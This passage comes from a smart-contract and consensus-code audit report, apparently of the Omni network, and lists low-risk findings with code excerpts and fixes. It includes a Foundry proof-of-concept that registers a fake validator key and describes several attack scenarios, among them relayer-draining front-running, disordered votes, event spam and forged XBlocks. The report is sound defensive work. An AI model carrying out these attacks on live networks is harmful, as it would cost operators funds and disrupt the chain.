    evmEvents, err := s.evmEvents(ctx, payload.ParentHash)
    if err != nil {
        return nil, errors.Wrap(err, "prepare evm event logs")
    }

    // Ensure the proposed evm event logs are equal to the local view.
    if err := evmEventsEqual(evmEvents, msg.PrevPayloadEvents); err != nil {
        return nil, errors.Wrap(err, "verify prev payload events")
    }

    return &types.ExecutionPayloadResponse{}, nil
}
```

It will proceed to compare the EVM events of `msg.PrevPayloadEvents` and `evmEvents` obtained from the previous block of the execution client.

- Fully synced and correct nodes will function appropriately
- If the `PrevPayloadEvents` is empty, then the nodes currently synced will accept
- If it is non-empty, nodes currently synced will reject as they do not have access to the EVM event logs yet (it will not be present in `filterLogs`)

Since there is non-deterministic behaviour between honest nodes a variety of things could occur.

- Honest proposals will pass for fully synced nodes and rejected for unsynced nodes. 2/3 consensus can't be reached possibly leading the chain to halt. Unsynced nodes will panic due to consensus failure if a proposal is indeed passed
- Malicious proposals can pass if >2/3 nodes are syncing and the `PrevPayloadEvents` is empty
- Recommendation

Fix is non-trivial

3.6.112 Inadequate Public Key Validation in Validator Creation

Severity: Low Risk

Context: Staking.sol#L89-L95

- Summary The `Staking` contract allows the creation of validators using public keys without verifying their cryptographic validity. This could lead to the registration of validators with invalid or fake public keys, disrupting network operations.
- Finding Description The `createValidator` function only checks the length of the public key (33 bytes) but does not validate its cryptographic correctness.

```
    function createValidator(bytes calldata pubkey) external payable {
        require(!isAllowlistEnabled || isAllowedValidator[msg.sender], "Staking: not allowed");
@=>     require(pubkey.length == 33, "Staking: invalid pubkey length");
        require(msg.value >= MinDeposit, "Staking: insufficient deposit");

        emit CreateValidator(msg.sender, pubkey, msg.value);
    }
```

- Impact Explanation Validators with invalid public keys may be registered, leading to disruptions in network operations.
- Scenario

1. A malicious actor generates a fake 33-byte public key.
2. The actor calls the `createValidator` function with this fake key.
3. The contract accepts the key as valid due to the lack of cryptographic checks.
4. The network may later attempt to use this invalid validator, leading to disruptions or failures in consensus operations.

- Proof of Concept Add this to `Staking.t.sol` and run it `forge test --match-test test_useFakePubkey -vvvv`.

```
    function test_useFakePubkey() public {
        address validator = makeAddr("validator");
        bytes memory fakePubkey = abi.encodePacked(hex"02", keccak256("fakepubkey")); // Incorrect prefix
        uint256 deposit = staking.MinDeposit();

        // Setup initial conditions
        vm.deal(validator, deposit);

        // Enable allowlist and add validator
        address[] memory validators = new address[](1);
        validators[0] = validator;

        vm.prank(owner);
        staking.enableAllowlist();
        vm.prank(owner);
        staking.allowValidators(validators);

        // Attempt to create a validator with a fake pubkey
        vm.prank(validator);
        staking.createValidator{ value: deposit }(fakePubkey);
    }
```

- Recommendation Implement a mechanism to verify the cryptographic validity of the public key.

3.6.113 Allowing Zero Address in Validator Allow List

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description The allowValidators function permits adding an array of addresses to the allow list. However, there is no check to prevent the zero address (address(0)) from being added. This could lead to potential issues, as address(0) is often a default value and does not represent a valid validator. Allowing it in the allow list could lead to unexpected behaviors in other parts of the contract, especially if other functions rely on this list to interact with valid validator addresses.

Example Scenario If address(0) is inadvertently allowed, any functionality depending on the allow list may mistakenly interpret address(0) as a valid validator, which could lead to unwanted or insecure behaviors. This issue may impact security, access control, or operational correctness.

- Recommendation

Implement a check to prevent address(0) from being added to the allow list. This could be achieved by adding a simple conditional check in the allowValidators function to revert the transaction if address(0) is encountered.

```
function allowValidators(address[] calldata validators) external onlyOwner {
    for (uint256 i = 0; i < validators.length; i++) {
        require(validators[i] != address(0), "Invalid address: zero address not allowed");
        isAllowedValidator[validators[i]] = true;
        emit ValidatorAllowed(validators[i]);
    }
}
```

3.6.114 Modulo-Based Attestation Interval Skips Time Guarantee

Severity: Low Risk

Context: types.go#L190-L200

- Description In `Block.ShouldAttest()`, the attestation interval check uses a simple modulo operation

```
(b.BlockHeight%attestInterval == 0)
```

to determine if a block should be attested. While this ensures regular attestations, it doesn't account for recent attestations of non-empty blocks. This can result in attesting to empty blocks immediately after attesting to non-empty blocks, even though the intended interval hasn't elapsed.

- For example, if block N contains messages and is attested, and block N+1 happens to be a multiple of the attestInterval, it will also be attested despite being empty and occurring right after another attestation.
- Recommendation Consider tracking the last attestation height and ensuring a full interval has passed before attesting to empty blocks. This would better align with the interval's intended purpose of maintaining regular attestations during periods of low activity.

3.6.115 Some struct members aren't initialized

Severity: Low Risk

Context: abi.go#L114

- Description In SubmissionFromBinding, when building the return value `Submission`, there are some struct members uninitialized.

While setting `Msg` in abi.go#L114-L126, StreamID has tree members, but only two of them have been initialized in abi.go#L116-L119

And BlockHeader has three members according to types.go#L171, but only two of them have bee initialized in abi.go#L137

- Recommendation

3.6.116 Test finding

Severity: Low Risk

Context: main.go#L2-L12

Please ignore this finding: I am testing the interface

- Summary A short summary of the issue, keep it brief.

code

```
var (
    genesisModuleOrder = []string{
        authtypes.ModuleName,
        banktypes.ModuleName,
        distrtypes.ModuleName,
        stakingtypes.ModuleName,
        slashingtypes.ModuleName,
        genutiltypes.ModuleName,
        evidencetypes.ModuleName,
        upgradetypes.ModuleName,
        valsynctypes.ModuleName,
        engevmtypes.ModuleName,
    }
```

- Finding Description A more detailed explanation of the issue. Poorly written or incorrect findings may result in rejection and a decrease of reputation score.

Describe which security guarantees it breaks and how it breaks them. If this bug does not automatically happen, showcase how a malicious input would propagate through the system to the part of the code where the issue occurs.

- Impact Explanation Elaborate on why you've chosen a particular impact assessment.
- Likelihood Explanation Explain how likely this is to occur and why.
- Proof of Concept (if required) If you have not included code examples in your description, here would be a good place to do so.
- Recommendation How can the issue be fixed or solved. Preferably, you can also add a snippet of the fixed code here.

3.6.117 An attacker can drain the relayer by front-running `OmniPortal.xsubmit` transactions

Severity: Low Risk

Context: OmniPortal.sol#L174

- Description The `OmniPortal.xsubmit` function is assumed to be called by the relayer to complete the execution of cross-chain messages. This function is permissionless, meaning anyone can call it. The function takes an `xsubmission`, which contains validator signatures, Merkle proofs, and a batch of messages. The verification of multiple messages is more cost-effective, incentivizing the relayer to submit all `xblock` messages at once or to include as many as possible in a single transaction.

The issue arises from the fact that an attacker can front-run the relayer's transaction with their own transaction, which submits only one message. This action will cause the relayer's transaction to revert due to the offset check of the first message in the relayer's submission.

```
require(offset == inXMsgOffset[sourceChainId][shardId] + 1, "OmniPortal: wrong offset");
```

An important observation here is that the relayer might end up spending more gas than the attacker, as the execution of the relayer's transaction will be reverted after these expensive checks.

```
// check that the attestationRoot is signed by a quorum of validators in xsub.validatorsSetId
require(
    Quorum.verify(
        xsub.attestationRoot,
        xsub.signatures,
        valSet[valSetId],
        valSetTotalPower[valSetId],
        XSubQuorumNumerator,
        XSubQuorumDenominator
    ),
    "OmniPortal: no quorum"
);

// check that blockHeader and xmsgs are included in attestationRoot
require(
    XBlockMerkleProof.verify(xsub.attestationRoot, xheader, xmsgs, xsub.proof, xsub.proofFlags),
    "OmniPortal: invalid proof"
);
```

This situation can occur if the first message to be executed is not too expensive and the relayer attempts to submit a significant number of messages at once. In this case, the cost of `XBlockMerkleProof.verify` might outweigh the cost of executing a single message.

An attacker can repeat this attack as many times as they want, causing the relayer to spend significantly more gas than it would without any interruptions. Eventually, this could lead to the relayer's address being completely drained. Another implication of such an attack is that cross-chain message processing will be delayed, increasing the likelihood of the known issue with stale streams.

- Recommendation Ensure that relayer implementation is ready for such situations. Consider checking that the first message has not been processed yet before performing quorum and Merkle tree checks. This will significantly reduce the relayer's expenses in such situations.

3.6.118 Unjailing a non-jailed validator does not refund

Severity: Low Risk

Context: evmslashing.go#L114-L127

- Description

The unjail logic does not ensure that the validator is jailed before trying to unjail it.

This will lead to loss of funds when a user tries to unjail a non-jailed validator. Moreover, there is no refund mechanism for it.

- Impact

Validators will lose funds when they try to unjail themselves without being jailed.

- Recommendation

Consider implementing a refund mechanism when unjailing fails because the validator isn't jailed.

3.6.119 The `log.Debug` log returned contains wrong values in the event of a finalized attestation in `addOne` function execution

Severity: Low Risk

Context: keeper.go#L180, keeper.go#L204

- Description

In the `addOne` function of the `attest/keeper/keeper.go`, if the existing attestation for a given attestation root has a `finalized attestation` then the current `aggVote` will be ignored for this attestation due to `finalized override` and the output is logged as shown below:

```
    } else if existing.GetFinalizedAttId() != 0 {
        log.Debug(ctx, "Ignoring vote for attestation with finalized override", nil,
            "agg_id", attID,
            "chain", k.namer(header.XChainVersion()),
            "attest_offset", header.AttestOffset,
        )
```

But the issue in the above `code snippet` the `attID` used is errorneous. Since when the logic execution proceeds upto this point the `attID` is still uninitialized and holds a value of `0`. But the expected `att_id` is the `Id of the current attestation` which can be retrieved via `existing.GetId()`. And the `field name` used for the log is also wrong where as it should be `att_id` instead of `agg_id`.

As a result when ever there is a skipped vote due to `finalized override` the log will not contain the correct `attestation ID` (since 0 is returned) for that skipped vote thus making the debugging inconsistent and broken in this scenario.

- Recommendation

Hence it is recommended to update the `log.Debug` in the above scenario to log the correct `attestation ID` of the `current attestation` as shown below:

```
        log.Debug(ctx, "Ignoring vote for attestation with finalized override", nil,
            "att_id", existing.GetId(),
            "chain", k.namer(header.XChainVersion()),
            "attest_offset", header.AttestOffset,
        )
```

3.6.120 The behaviour of `String()` function in `mergeValidatorSet` creates ambiguity

Severity: Low Risk

Context: keeper.go#L395, keeper.go#L404-L406

- Description

The `mergeValidatorSet` function in the `Valsync/keeper/keeper.go`, each of the `validator updates` are converted into `keeper.Validator` type before merging with the `last validator set`. In this function execution the `added` mapping is defined and it is used to ensure `if an existing validator of the last validator set is updated then the same validator is not added twice in the merged validator set`. The logic implementation of the `added` mapping usecase is as follows:

```
        added[update.PubKey.String()] = true

        ...
        ...

        if added[pubkey.String()] {
            continue
        }
```

Both the `update.PubKey` and `pubkey` value used in the above two instances belong to the `PublicKey` type. The `publicKey` type represents a `protobuf-generated structure` for handling `public keys` in Tendermint-based systems (such as `Cosmos`). It is a `oneof structure`, which means it can `hold one of multiple possible types`, depending on the key format used.

Hence in the above code snippet `update.PubKey.String()` is called to `convert` the `PublicKey` (specifically a PublicKey_Secp256K1 type) into a `string`. But the issue here is that `String()` method does not `convert` the `raw bytes` directly but rather `provides a structured string representation` of the `object`. This can be `useful` for `debugging` or `logging` but may `not be ideal` for `representing` the `key's raw value` as a `simple string`.

The `String()` method, for `uniqueness checks` might not be reliable, as its output could vary based on how `protobuf serializes` the `struct`. The `String()` method can include `formatting` that's specific to `protobuf's internal representation` and `might change`, especially if the `protobuf library updates` or `changes` how `String()` is implemented.

Since the idea of calling the `String()` method on the `update.PubKey` is to check `uniqueness` based on the `actual value` of the `Secp256K1 public key`, it would be `better` to use the `raw bytes` of the `key` itself rather than relying on `String()`.

- Recommendation

Hence it is recommended to get the raw bytes of the `Secp256K1 public key` as a `hex` value by calling the `hex.EncodeToString(update.PubKey.GetSecp256K1())` and using this returned value in the `added mapping as the key` as shown below:

```
added[hex.EncodeToString(update.PubKey.GetSecp256K1())] = true
```

The above encoding of the raw public key bytes (such as using `hex.EncodeToString`) would be a more robust and reliable approach and will avoid any `ambiguity` or `dependency` on the `String()` method's internal behavior and guarantees.

3.6.121 Redundant `val.GetPower() < 0` check can be omitted in the `insertValidatorSet` function

Severity: Low Risk

Context: helper.go#L13-L14, keeper.go#L234, keeper.go#L245-L247

- Description

In the `Valsync/keeper/keeper.go` file the `insertValidatorSet` function is defined. In this funciton the total validator power is calculated as follows:

```
        totalPower += val.GetPower()
        if val.GetPower() < 0 {
            return 0, errors.New("negative power")
        }
```

If any of the validators have a `Power < 0` then the function call will return with `0, error`. But the subsequent check is not required since it is a redundant check. This `val.GetPower() < 0` check is already performed in the `val.Validate()` call in the `Validate()` function defined in the `helper.go` file as shown below:

```
    } else if v.GetPower() < 0 {
        return errors.New("negative power")
```

- Recommendation

Hence it is recommended to remove the redundant `val.GetPower() < 0` check performed after the `totalPower` calculation is performed in the `insertValidatorSet` function.

3.6.122 XBlock vote slashing is not currently implemented

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

XMsg vote slashing (validator proposing invalid XBlock votes) is not currently implemented in the codebase. If an equivocation (double signing) offense is committed the node will just log a warning but will do nothing else to slash the offending validator.

```
        if errors.Is(err, ormerrors.UniqueKeyViolation) {
            msg := "Ignoring duplicate vote"
            if ok, err := k.isDoubleSign(ctx, attID, agg, sig); err != nil {
                return err
            } else if ok {
                doubleSignCounter.WithLabelValues(sigTup.ValidatorAddress.Hex()).Inc()
                msg = " Ignoring duplicate slashable vote"
            }

            log.Warn(ctx, msg, nil,
                "agg_id", attID,
                "chain", k.namer(header.XChainVersion()),
                "attest_offset", header.AttestOffset,
                log.Hex7("validator", sig.ValidatorAddress),
            )
        } else if err != nil {
            return errors.Wrap(err, "insert signature")
        }
```

- Recommendation

Slashing should be implemented otherwise validators can commit offences freely without penalties

3.6.123 Beacon root hash is not validated

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

The beacon root hash in the `ExecutionPayload` from the proposer (which can be malicious) is not validated to be the `appHash` in `parseAndVerifyPayload`

```
func (k *Keeper) parseAndVerifyProposedPayload(ctx context.Context, msg *types.MsgExecutionPayload)
↪  (engine.ExecutableData, error) {
    // Parse the payload.
    var payload engine.ExecutableData
    if err := json.Unmarshal(msg.ExecutionPayload, &payload); err != nil {
        return engine.ExecutableData{}, errors.Wrap(err, "unmarshal payload")
    }

    // Ensure no withdrawals are included in the payload.
    if len(payload.Withdrawals) > 0 {
        return engine.ExecutableData{}, errors.New("withdrawals not allowed in payload")
    }

    // Ensure fee recipient using provider
    if err := k.feeRecProvider.VerifyFeeRecipient(payload.FeeRecipient); err != nil {
        return engine.ExecutableData{}, errors.Wrap(err, "verify proposed fee recipient")
    }

    // Fetch the latest execution head from the local keeper DB.
    head, err := k.getExecutionHead(ctx)
    if err != nil {
        return engine.ExecutableData{}, errors.Wrap(err, "latest execution block")
    }
    headHash, err := head.Hash()
    if err != nil {
        return engine.ExecutableData{}, err
    }

    // Ensure the parent hash and block height matches
    if payload.Number != head.GetBlockHeight()+1 {
        return engine.ExecutableData{}, errors.New("invalid proposed payload number", "proposed",
↪  payload.Number, "head", head.GetBlockHeight())
    } else if payload.ParentHash != headHash {
        return engine.ExecutableData{}, errors.New("invalid proposed payload parent hash", "proposed",
↪  payload.ParentHash, "head", headHash)
    }

    // Ensure the payload timestamp is after latest execution block and before or equaled to the current
↪  consensus block.
    minTimestamp := head.GetBlockTime() + 1
    maxTimestamp := uint64(sdk.UnwrapSDKContext(ctx).BlockTime().Unix())
    if maxTimestamp < minTimestamp { // Execution block minimum takes precedence
        maxTimestamp = minTimestamp
    }
    if payload.Timestamp < minTimestamp || payload.Timestamp > maxTimestamp {
        return engine.ExecutableData{}, errors.New("invalid payload timestamp",
            "proposed", payload.Timestamp, "min", minTimestamp, "max", maxTimestamp,
        )
    }

    // Ensure the Randao Digest is equaled to parent hash as this is our workaround at this point.
    if payload.Random != headHash {
        return engine.ExecutableData{}, errors.New("invalid payload random", "proposed", payload.Random,
↪  "latest", headHash)
    }

    return payload, nil
}
```

While the Engine API will technically validate it itself, it would be better to validate it to fail early

- Recommendation

Validate the beacon root hash is equal to the appHash

3.6.124 There should be duplicate vote checks in ProcessProposal

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description

The malicious proposer can replay a previously seen vote from a validator when sending the `MsgAddVotes` across different rounds. This is because the validators do not check against the signature DB that the vote has been sent before.

```
func (k *Keeper) verifyAggVotes(
    ctx context.Context,
    cChainID uint64,
    valset ValSet,
    aggs []*types.AggVote,
    windowCompareFunc windowCompareFunc, // Aliased for testing
) error {
    duplicate := make(map[common.Hash]bool)          // Detects duplicate aggregate votes.
    countsPerVal := make(map[common.Address]uint64) // Enforce vote extension limit.
    for _, agg := range aggs {
        // For each aggregate vote, verify all of its attributes
        // Then verify all signatures are valid, and there are no duplicate signatures.
        if err := agg.Verify(); err != nil {
            return errors.Wrap(err, "verify aggregate vote")
        }
        errAttrs := []any{"chain", k.namer(agg.AttestHeader.XChainVersion()), "attest_offset",
↪   agg.AttestHeader.AttestOffset}

        if err := verifyHeaderChains(ctx, cChainID, k.portalRegistry, agg.AttestHeader, agg.BlockHeader); err
↪   != nil {
            return errors.Wrap(err, "check supported chain")
        }

        attRoot, err := agg.AttestationRoot()
        if err != nil {
            return errors.Wrap(err, "attestation root")
        }

        if duplicate[attRoot] {
            return errors.New("invalid duplicate aggregate votes", errAttrs...) // Note this is duplicate
↪   aggregates, which may contain non-overlapping votes so not technically slashable.
        }
        duplicate[attRoot] = true

        // Ensure all votes are from unique validators in the set
        for _, sig := range agg.Signatures {
            addr, err := sig.ValidatorEthAddress()
            if err != nil {
                return err
            }

            if !valset.Contains(addr) {
                return errors.New("vote from unknown validator", append(errAttrs, "validator", addr)...)
            }

            countsPerVal[addr]++
            if countsPerVal[addr] > k.voteExtLimit {
                return errors.New("vote extension limit exceeded", append(errAttrs, "validator", addr)...)
            }
        }

        // Ensure the block header is in the vote window.
        if resp, err := windowCompareFunc(ctx, agg.AttestHeader.XChainVersion(),
↪   agg.AttestHeader.AttestOffset); err != nil {
            return errors.Wrap(err, "windower")
        } else if resp != 0 {
            errAttrs = append(errAttrs, "resp", resp)

            return errors.New("vote outside window", errAttrs...)
        }
    }

    return nil
}
```

This is not a big issue currently, because the duplicate votes will be checked when adding to the attestation and signature DB in `FinalizeBlock`

```
    // Insert signatures
    for _, sig := range agg.Signatures {
        sigTup, err := sig.ToXChain()
        if err != nil {
            return err
        }

        err = k.sigTable.Insert(ctx, &Signature{
            Signature:        sig.GetSignature(),
            ValidatorAddress: sig.GetValidatorAddress(),
            AttId:            attID,
            ChainId:          agg.AttestHeader.GetSourceChainId(),
            ConfLevel:        agg.AttestHeader.GetConfLevel(),
            AttestOffset:     agg.AttestHeader.GetAttestOffset(),
        })

        if errors.Is(err, ormerrors.UniqueKeyViolation) {
            msg := "Ignoring duplicate vote"
            if ok, err := k.isDoubleSign(ctx, attID, agg, sig); err != nil {
                return err
            } else if ok {
                doubleSignCounter.WithLabelValues(sigTup.ValidatorAddress.Hex()).Inc()
                msg = " Ignoring duplicate slashable vote"
            }

            log.Warn(ctx, msg, nil,
                "agg_id", attID,
                "chain", k.namer(header.XChainVersion()),
                "attest_offset", header.AttestOffset,
                log.Hex7("validator", sig.ValidatorAddress),
            )
        } else if err != nil {
            return errors.Wrap(err, "insert signature")
        }
    }
```

- Recommendation

It would still be good for validators to check for duplicate votes across different rounds in `ProcessProposal`

3.6.125 The `for loop` in the `ListAttestationsFrom` function wil break prematurely if duplicate attestations are found

Severity: Low Risk

Context: keeper.go#L387-L388, keeper.go#L404-L407, keeper.go#L422

- Description

In the `ListAttestationsFrom` function of the `attest/keeper/keeper.go` is used to retrieve the subsequent approved attestations from the provided offset onwards. In this function the following logic is executed to ensure the `Approved` attestations are listed in the sequential order.

```
        if att.GetAttestOffset() != next {
            break
        }
        next++
```

The index `AttestationStatusChainIdConfLevelAttestOffsetIndexKey` is used to retrieve the `Approved` attestations and it uses the `index 2` of the `Attestation table`. The index id 2 corresponds to the `"status,chain_id,conf_level,attest_offset"` field and it is not configured as a `unique` field. Hence this means there could be duplicate entries for the above set of fields in the `attestation table`.

If there is a duplciate entry for the `status,chain_id,conf_level,attest_offset` fields set the `att.GetAttestOffset()` will return the same `offset value` but the `next is increment by 1` for the second `attestation` thus breaking the loop. The loop is expected to break when the attestation offsets are out of order (does not complement sequention order) but here the loop is broken due to duplicate entry even though the sequential order of the attestation offsets are in place.

This will make the `loop to break prematurely` thus the returned `attestation list` will not retrive the complete list of `Approved attestations`.

- Recommendation

Hence it is recommended to update the above logic to handle the scenarios where duplicate `attestation offsets` are present for the same approved chain versions, without breaking the loop. This will ensure complete list of `Approved attestations` are retrived.

3.6.126 Discrepancy between the `implementation` and `natspec comments` of the `listAllAttestations` function

Severity: Low Risk

Context: keeper.go#L553-L554, keeper.go#L564-L565

- Description

The `listAllAttestations` function in the `attest/keeper/keeper.go`, is used to retrive all the attestations `for the given chain and status and attestOffset` as explained by the following `natspec` commenst given for the function.

> listAllAttestations returns all attestations for the given chain and status and attestOffset up to a maximum of 100.

But the logic implementation does not complement the above natspec comment since it retrives all the attestations of `given chain and status` starting from the provided `attestOffset` to the `end`. As a result `attestations` belonging to the `different attest offsets` for the same `chainVer and status` will be retrived. But as per the above natspec comment, this function should only retrive the `attestations` for the `given chain, status and attestOffset` limited to 100.

```
start := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevelAttestOffset(ui
↪  nt32(status), version.ID, uint32(version.ConfLevel),
↪  attestOffset)
end := AttestationStatusChainIdConfLevelAttestOffsetIndexKey{}.WithStatusChainIdConfLevel(uint32(status),
↪  version.ID, uint32(version.ConfLevel))
```

Hence there is a discrepency between the `natspec comment` and logic implementation of the `listAllAttestations` function. The retrived `attestations` are not correctly filtered as per the natspec comment explanation.

- Recommendation

Hence it is recommended to update the logic of the `listAllAttestations` function to retrive the `attestations` for the `given chain, status and attestOffset` limited to 100. This will ensure the function will not retrieve the `attestations` belonging to different `attest offsets` for the same `chainVer and status`.

3.6.127 The `PublicKey_Ed25519` encryption algorithm is not handled gracefully in the `mergeValidatorSet` function

Severity: Low Risk

Context: keeper.go#L391

- Description

In the `mergeValidatorSet` function the `update.PubKey.GetSecp256K1()` call supports two encryption algorithms. They are `PublicKey_Ed25519` and `PublicKey_Secp256K1` . But we are only calling the `GetSecp256K1` here but if the `publicKey` is encoded with the `Ed25519` then the `PubKey.GetSecp256K1()` will return the `nil` value. But there is not logical check in place to catch this issue and will continue assigning `nil` value to the `PubKey` field of the `keeper.Validator` type.

- Recommendation

Hence it is recommended to upate the `mergeValidatorSet` function to handle the scenario where the `PublicKey_Ed25519` is returned for the `PubKey.GetSecp256K1()` call, gracefully since this scenario could occur in the future.

3.6.128 The validator table will grow indefinitely

Severity: Low Risk

Context: *(No context files were provided by the reviewer)*

- Description In halo/valsync/keeper/keeper.go, every time there is an update to the validator, all validators will be newly inserted into the `valTable` once.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/valsync/keeper/keeper.go#L239

```
    for _, val := range vals {
        if err := val.Validate(); err != nil {
            return 0, err
        }

        val.ValsetId = valset.GetId()

        err = k.valTable.Insert(ctx, val)
        if err != nil {
            return 0, errors.Wrap(err, "insert validator")
        }
```

Assuming there are 100 validators, even if only one of them has been updated, 100 entries will still be added to the `valTable`.

Additionally, there is no function in the code to remove an item from valtable, which causes valtable to grow indefinitely, adding as many entries as `len(validators)` each time, excessively consuming the resources of the validator.

- Recommendation Delete expired data in valtable, similar to deleteBefore in attest keeper.

https://cantina.xyz/code/d139882b-2d3a-49ac-9849-9dccef584090/halo/attest/keeper/keeper.go#L946

3.6.129 Missing Aggregate Vote Order Validation Enables Attestation Processing Delays

Severity: Low Risk

Context: keeper.go#L884

- Description The attestation system requires `AggVote` entries to be processed in a specific order based on `AttestOffset`, `ChainId`, and `BlockHash`. While this ordering is implemented in the attestation preparation phase via `attest => cpayload => PrepareVotes => votesFromLastCommit => aggregateVotes => sortAggregates`:

```
func sortAggregates(aggs []*types.AggVote) []*types.AggVote {
    sort.Slice(aggs, func(i, j int) bool {
        // Primary sort by AttestOffset
        if aggs[i].AttestHeader.AttestOffset != aggs[j].AttestHeader.AttestOffset {
            return aggs[i].AttestHeader.AttestOffset < aggs[j].AttestHeader.AttestOffset
        }
        // Secondary sort by ChainId
        if aggs[i].BlockHeader.ChainId != aggs[j].BlockHeader.ChainId {
            return aggs[i].BlockHeader.ChainId < aggs[j].BlockHeader.ChainId
        }
        // Final sort by BlockHash
        return bytes.Compare(aggs[i].BlockHeader.BlockHash, aggs[j].BlockHeader.BlockHash) < 0
    })
    return aggs
}
```

However, this ordering is not enforced during vote verification in `attest => proposalServer => AddVotes => verifyAggVotes`.

Missing from these checks is the ordering validation, allowing a malicious proposer to submit votes in arbitrary order, and other validators will not reject the proposal.

This becomes problematic because the `attest => EndBlock => Approve` function processes attestations sequentially:

```
if ok && head+1 != att.GetAttestOffset() {
    // This isn't the next attestation to approve, so we can't approve it yet.
    continue
}
```

- Impact A malicious proposer can significantly degrade system performance by deliberately disordering attestations:

Normal Case (Ordered):

```
attId = 2, AttestOffset = 2
attId = 3, AttestOffset = 3
attId = 4, AttestOffset = 4
```

Result: Assuming the quorum is met, all three attestations can be approved in a single block.

Attack Case (Disordered):

```
attId = 2, AttestOffset = 4
attId = 3, AttestOffset = 3
attId = 4, AttestOffset = 2
```

Result: Assuming the quorum is met, the attestations with `attId = 2, 3` will be skipped, only the attestation with `attId = 4` will be approved, causing a 3x slowdown in attestation processing.

This vulnerability allows:

1. Deliberate slowdown of attestation processing
2. Increased latency in cross-chain message delivery

- Recommendation Add order validation in the `verifyAggVotes` function

3.6.130 Contract owners can spam `PlanUpgrade`, `CancelUpgrade`, and `PortalRegistered` events leading to DoS of the consensus chain

Severity: Low Risk

Context: Upgrade.sol#L54

- Description The contract owner can spam `PlanUpgrade`, `CancelUpgrade`, and `PortalRegistered` events for free. All of these events require consensus chain work that is not priced in. This can lead to a DoS of the consensus chain and reduces the security of the network from a 2/3 honest validators assumption to trusting the contract owner.
- Recommendation Consider adding a fee to these events to reduce the trust in the owner of these contracts and make it economically unfeasible for them to spam the consensus chain. Ideally, the owner of these contracts would be a multi-sig of the current validator set (weighted by voting power) to not degrade the security assumptions.

3.6.131 No penalty for signing malicious XBlocks

Severity: Low Risk

Context: OmniPortal.sol#L174

- Description The `OmniPortal.xsubmit()` function checks if the attestation root is quorumed by the validator set provided as a parameter. Note that validators can construct arbitrary XBlocks (with malicious XMsgs) outside of the normal cross-chain validator node flow, derive the attestation root, sign it and submit it to `xsubmit`. While validators get slashed + jailed and lose out on rewards for missing too many blocks or double signing, there is no penalty for forging malicious XBlocks as the validator code does not detect this. Validators can forge an XBlock with an XMSg that mints a trillion OMNI or other tokens to them.
- Recommendation There needs to be a penalty for a validator signing an XBlock that does not correspond to the actual Block on the source chain. Otherwise, there's a lack of incentive to be honest and the +2/3 honest validator assumption only works if there are penalties in place for misbehavior. As

stated above, Cosmos solves this with slashing and jailing validators, but Omni has not implemented this feature for forging XBlocks.

3.6.132 Tracking `inXBlockOffset` is irrelevant

Severity: Low Risk

Context: OmniPortal.sol#L253

- Description The `OmniPortal` contract tracks the XBlock offset for each source chain, however, it does not use this information in any relevant way. If a higher offset comes in, it is updated, otherwise, it is ignored. The only relevant offsets are the XMsg offsets which must be sequential, the offsets of the XBlock that these messages are in should indeed be skipped as one can attest to empty blocks if the `attestInterval` is reached.
- Recommendation Consider removing the tracking of `inXBlockOffset` in the contracts as it does not serve any purpose.

3.6.133 `RegisterPortalRequest` type is not used

Severity: Low Risk

Context: types.go#L15

- Description The `RegisterPortalRequest` type is defined in `valsync` but never used.
- Recommendation Use it or remove it.

3.6.134 Fuzzy XStreams risk missing reorged blocks

Severity: Low Risk

Context: voter.go#L254

- Description Fuzzy XStreams will skip attesting to offsets that have already been attested to:


```
if attestOffset < skipBeforeOffset {
  maybeDebugLog(ctx, "Skipping previously voted block on startup", "attest_offset", attestOffset,
↪  "skip_before_offset", skipBeforeOffset)

  return nil // Do not vote for offsets already approved or that we voted for previously (this risks double
↪  signing).
}
```

However, if XBlock X was reorged by a different XBlock X', attestation of X' will be skipped in the fuzzy version. Users have to wait until the "finalized" shard catches up to the reorged XBlock X' and attest to it.

- Recommendation As the skipping is to avoid double signing, it should only skip if the block header with the same block hash (at that offset) was already signed. However, this might be non-trivial to implement in the current version if fuzzy attestations are pruned and only the latest attestation is kept.

3.6.135 Writing/Reading votes to/from file can fail

Severity: Low Risk

Context: voter.go#L534

- Description The `halo/attest/voter/voter.go` reads and writes the votes to disk to keep track of what was already attested to. Note that the `saveUnsafe()` function can fail if the validator is out of disk space or if they are compromised and the directory is made read-only. The validator will abort and not vote anymore which can degrade network performance.

```
if err := tempfile.WriteFileAtomic(v.path, bz, 0o600); err != nil {
  // Abort the voter if the state cannot be persisted.
  // Voter in-memory and disk state are now inconsistent.
  // Force binary restart to recover.
  v.errAborted = errors.Wrap(err, " voter aborted while storing state")
  select {
    case v.asyncAbort <- v.errAborted: // Assume asyncAbort is buffered.
    default:
  }

  return v.errAborted
}
```

If the node is compromised, the attacker can inject wrong votes as well.

- Recommendation This can't be fixed with code changes, node operators need to monitor their node and react to any failures.

3.6.136 Portal.EmitMsg only works for Broadcast chain and is therefore needlessly complicated

Severity: Low Risk

Context: keeper.go#L65

- Description The `EmitMsg` function takes a `destChainID` parameter. The next offset for the message is keyed by this `destChainId, shardID)` pair:

```
offset, err := k.incAndGetOffset(ctx, destChainID, shardID)
```

This is because each chain has its own `inXMsgOffset[cchainId][finalized]` for the consensus chain. (This is synced to the current consensus chain offset when the Portal is initialized.) However, broadcasts and a specific destination chain id share the stream offsets from the Portal's perspective (are seen as a single stream), but using both a broadcast and a specific destination chain in `EmitMsg` would return different offsets and break delivery. The current code would not work with using both broadcast and a specific destination chain.

There is currently no impact as `EmitMsg` is only used with `destChainID = Broadcast` and `shardID = Finalized`.

- Recommendation Remove the `destChainID` parameter as it's broken for using any other chain anyway and hardcode it to use the broadcast chain id. This also makes the code and intention more readable.

3.6.137 Unjail events can be weaponized to halt the chain at a low cost

Severity: Low Risk

Context: Slashing.sol#L48

- Impact

